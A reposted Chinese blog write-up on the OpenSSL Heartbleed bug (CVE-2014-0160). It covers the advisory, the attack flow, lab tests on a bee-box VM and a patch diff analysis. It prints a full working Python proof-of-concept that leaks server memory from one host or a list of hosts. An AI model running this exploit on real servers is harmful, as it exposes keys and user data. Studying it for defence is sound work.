轉自:http://blog.csdn.net/qq_32400847/article/details/58332946
2014年4月7日OpenSSL發佈了安全公告,在OpenSSL1.0.1版本中存在嚴重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模塊存在一個BUG,當攻擊者構造一個特殊的數據包,滿足用戶心跳包中無法提供足夠多的數據會導致memcpy函數把SSLv3記錄之後的數據直接輸出,該漏洞導致攻擊者可以遠程讀取存在漏洞版本的OpenSSL服務器內存中多達64K的數據。
1.漏洞說明
A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley [email protected] and Bodo Moeller [email protected] for preparing the fix.
Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
1.0.2 will be fixed in 1.0.2-beta2.
2.TLS/SSL簡介
TLS和SSL是兩個密切相關的協議,均用於保證兩個主機之間通信數據的機密性與完整性。TLS或SSL可爲已存在的應用層協議(例如HTTP,LDAP,FTP,SMTP及其他)添加一個安全層。它同樣可以用於創建VPN解決方案(例如OpenVPN)。SSL協議於1994年由Netscape開發。1996年,SSL 3.0(最後版本)被髮布。IETF基於此協議進行了開發,取名爲TLS。1999年,IETF在RFC2246中發佈TLS 1.0。TLS或SSL協議,由多層構成。最接近它的上層協議是可信傳輸協議(例如TCP)。它可用於封裝較高層次的協議。爲了在客戶端與服務端建立一個安全會話,TLS/SSL需要完成幾步驗證,並創建密鑰。握手過程,交互信息如下。
3.攻擊流程
基於POC程序源代碼(附後),介紹一下CVE-2014-0160漏洞的攻擊思路。
1. 建立socket連接
2. 發送TLS/SSL Client Hello請求
3. 發送畸形heartbleed數據
4. 檢測漏洞存在
建立socket連接
def ssltest(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
- 1
- 2
- 3
- 1
- 2
- 3
多數情況下默認443提供HTTPS服務。
發送TLS/SSL Client Hello請求
s.send(h2bin(hello))
- 1
- 1
Client Hello請求數據如下所示。
hello = [
# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
"16" # Content Type: Handshake (22)
"0302" # Version: TLS 1.1 (0x0302)
"00dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"0000 d8" # Length (216)
"0302" # Version: TLS 1.1 (0x0302)
# Random
"5343 5b 90" # gmt_unix_time
"9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes
"00" # Session ID Length: 0
"0066" # Cipher Suite Length: 102
# Cipher Suites
"c014"
"c00a"
"c022"
"c021"
"0039"
"0038"
"0088"
"0087"
"c00f"
"c005"
"0035"
"0084"
"c012"
"c008"
"c01c"
"c01b"
"0016"
"0013"
"c00d"
"c003"
"000a"
"c013"
"c009"
"c01f"
"c01e"
"0033"
"0032"
"009a"
"0099"
"0045"
"0044"
"c00e"
"c004"
"002f"
"0096"
"0041"
"c011"
"c007"
"c00c"
"c002"
"0005"
"0004"
"0015"
"0012"
"0009"
"0014"
"0011"
"0008"
"0006"
"0003"
"00ff"
"01" # Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"0049" # Extension Length: 73
"000b" # Type: ec_point_formats
"0004" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format:ansix962_compressed_prime
"02" # EC point format:ansix962_compressed_char2
# Extension: elliptic_curves
"000a"
"0034"
"0032"
"000e"
"000d"
"0019"
"000b"
"000c"
"0018"
"0009"
"000a"
"0016"
"0017"
"0008"
"0006"
"0007"
"0014"
"0015"
"0004"
"0005"
"0012"
"0013"
"0001"
"0002"
"0003"
"000f"
"0010"
"0011"
"0023 00 00" # Extension:SeesionTicket TLS
"000f 00 01 01" # Extension:Heartbeat
]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
發送Client Hello後,等待服務端響應,檢測TLS/SSLClient Hello會話是否成功。
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
return
# Look for server hello done message.
# typ == 22 ----> Handshake
#
if typ == 22 and ord(pay[0]) == 0x0E:
break
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
此處服務器返回兩次數據。Frame 10返回主要用於進一步獲取Server Hello 信息。Frame 11爲TLS/SSL的Server Hello響應。
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
def recvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer +integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
Server Hello 消息返回,說明TTL/SSL會話成功建立,此過程伴隨有Certificate,Server Key Exchange,Server Hello Done。
發送畸形heartbleed數據
Server Hello成功返回後向服務器發送畸形heartbleed請求。如果服務器響應,會伴隨有Encrypted Heartbeats Message,也就是泄露的內存數據。
s.send(h2bin(hb)) # Malformed Packet
- 1
- 1
Heartbleed包數據如下。
# ---------TLSv1---[Heartbeat Request]------------
hb = [
# TLSv1.1 Record Layer: HeartbeatRequest
"18" # Content Type: Heartbeat (24) ----(0x18)
"0302" # Version: TLS 1.1 (0x0302)
"0003" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"4000" # Payload Length: (16384) (0x4000)
]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
檢測漏洞是否存在
畸形數據包發送完成後,檢測漏洞是否存在。
while True:
print "[+] receive data..."
typ, ver, pay = recvmsg(s)
if typ is None:
print "[-] %s |NOTVULNERABLE" % target
return False
# TLSv1.1 Record Layer: EncryptedHeartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if typ == 24:
if len(pay) > 3:
print "[*] %s |VULNERABLE" % target
else:
print "[-] %s |NOTVULNERABLE" % target
return True
if typ == 21:
print "[-] %s |NOTVULNERABLE" % target
return False
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
泄露的部分數據如下圖所示。
完整的POC如下。
import struct
import socket
import time
import select
from optparse import OptionParser
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = [
# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
"16" # Content Type: Handshake (22)
"0302" # Version: TLS 1.1 (0x0302)
"00dc" # Length: 220
# Handshake Protocol: Client Hello
"01" # Handshake Type: Client Hello (1)
"0000 d8" # Length (216)
"0302" # Version: TLS 1.1 (0x0302)
# Random
"5343 5b 90" # gmt_unix_time
"9d9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03 90 9f 77 04 33 d4de" # random_bytes
"00" # Session ID Length: 0
"0066" # Cipher Suite Length: 102
# Cipher Suites
"c014"
"c00a"
"c022"
"c021"
"0039"
"0038"
"0088"
"0087"
"c00f"
"c005"
"0035"
"0084"
"c012"
"c008"
"c01c"
"c01b"
"0016"
"0013"
"c00d"
"c003"
"000a"
"c013"
"c009"
"c01f"
"c01e"
"0033"
"0032"
"009a"
"0099"
"0045"
"0044"
"c00e"
"c004"
"002f"
"0096"
"0041"
"c011"
"c007"
"c00c"
"c002"
"0005"
"0004"
"0015"
"0012"
"0009"
"0014"
"0011"
"0008"
"0006"
"0003"
"00ff"
"01" # Compression Methods
# Compression Methods (1 method)
"00" # Compression Method: null
"0049" # Extension Length: 73
"000b" # Type: ec_point_formats
"0004" # Length: 4
"03" # EC point formats length: 3
# Elliptic curves point formats
"00" # EC point format: uncompressed (0)
"01" # EC point format:ansix962_compressed_prime
"02" # EC point format:ansix962_compressed_char2
# Extension: elliptic_curves
"000a"
"0034"
"0032"
"000e"
"000d"
"0019"
"000b"
"000c"
"0018"
"0009"
"000a"
"0016"
"0017"
"0008"
"0006"
"0007"
"0014"
"0015"
"0004"
"0005"
"0012"
"0013"
"0001"
"0002"
"0003"
"000f"
"0010"
"0011"
"0023 00 00" # Extension:SeesionTicket TLS
"000f 00 01 01" # Extension:Heartbeat
]
# ---------TLSv1---[Heartbeat Request]------------
hb = [
# TLSv1.1 Record Layer: HeartbeatRequest
"18" # Content Type: Heartbeat (24) ----(0x18)
"0302" # Version: TLS 1.1 (0x0302)
"0003" # Heartbeat Message:
"01" # Type: Request (1) (0x01)
"4000" # Payload Length: (16384) (0x4000)
]
hello = hello[0].replace("", "").replace("\n", "")
hb = hb[0].replace("", "").replace("\n", "")
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b: b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
print 'read: ', r
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
hexdump(rdata)
return rdata
def recvmsg(s):
hdr = recvall(s, 5) # recvall(s, 5, timeout=5)
if hdr is None:
return None, None, None
# C ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]
# Python ---- [big-edition] + integer +integer + integer
# [Content Type] + [Version] + [Length]
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
return None, None, None
return typ, ver, pay
def hit_hb(s, target):
# global target
s.send(h2bin(hb))
while True:
print "[+] receive data..."
typ, ver, pay = recvmsg(s)
if typ is None:
print "[-] %s |NOTVULNERABLE" % target
return False
# TLSv1.1 Record Layer: EncryptedHeartbeat
# Content Type: Heartbeat (24)
# Version: TLS 1.1 (0x0302)
# Length: 19
# Encrypted Heartbeat Message
if typ == 24:
if len(pay) > 3:
print "[*] %s |VULNERABLE" % target
else:
print "[-] %s |NOTVULNERABLE" % target
return True
if typ == 21:
print "[-] %s |NOTVULNERABLE" % target
return False
def ssltest(target, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(h2bin(hello))
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
return
# Look for server hello done message.
# typ == 22 ----> Handshake
#
if typ == 22 and ord(pay[0]) == 0x0E:
break
# sys.stdout.flush()
print "[+] send payload: %s" % hb
s.send(h2bin(hb)) # Malformed Packet
return hit_hb(s, target) # ------------- *********
def main():
# global target
options = OptionParser(usage='%prog server[options]',
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-d', '--dest', dest='host', help='HOST to test')
options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')
(opts, args) = options.parse_args()
if opts.host:
ssltest(opts.host, opts.port)
return
if opts.filename:
hostfile = open(opts.filename, 'r').readlines()
for host in hostfile:
host = host.strip()
if len(host) > 3: # x.x
ssltest(host, opts.port)
return
if len(args) < 1:
options.print_help()
return
if __name__ == '__main__':
main()
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
- 247
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
- 247
4.漏洞測試
這裏我分別使用上文的POC、nmap和metasploit對bee-box虛擬機內置的心臟滴血漏洞進行測試。
虛擬機的IP地址是10.10.10.146,漏洞端口位於8443。
上文的POC
接收到了大量的數據,被判定爲VULNERABLE。
nmap
metasploit
5.源代碼分析
我們利用文本比較工具ultracompare對比openssl-1.0.1g和openssl-1.0.1f的不同。
首先是ssl/d1_both.c。
然後是ssl/t1_lib.c。
在tls1_process_heartbeat函數和dtls1_process_heartbeat函數中,主要都是增加了對s->s3->rrec.length長度的判斷。這兩個函數後面的memcpy(bp, pl, payload);填充payload長度的pl數據,而payload完全由用戶控制,當傳入過大數值時,可能導致越界訪問pl之後的數據,若將讀取的數據返回給用戶即可造成敏感信息泄露。在一些測試用例中我們會發現response的length長度值總是比request的長度多出來了19個byte。讀源代碼可以知道,這是因爲TLS和DTLS在處理心跳請求包邏輯中從堆空間上申請的內存大小由type、length、request的數據長度和pad四個部分組成,其中type,length,pad字段分爲佔1byte,2byte,16byte,所以response的數據總是比request的多出來19byte。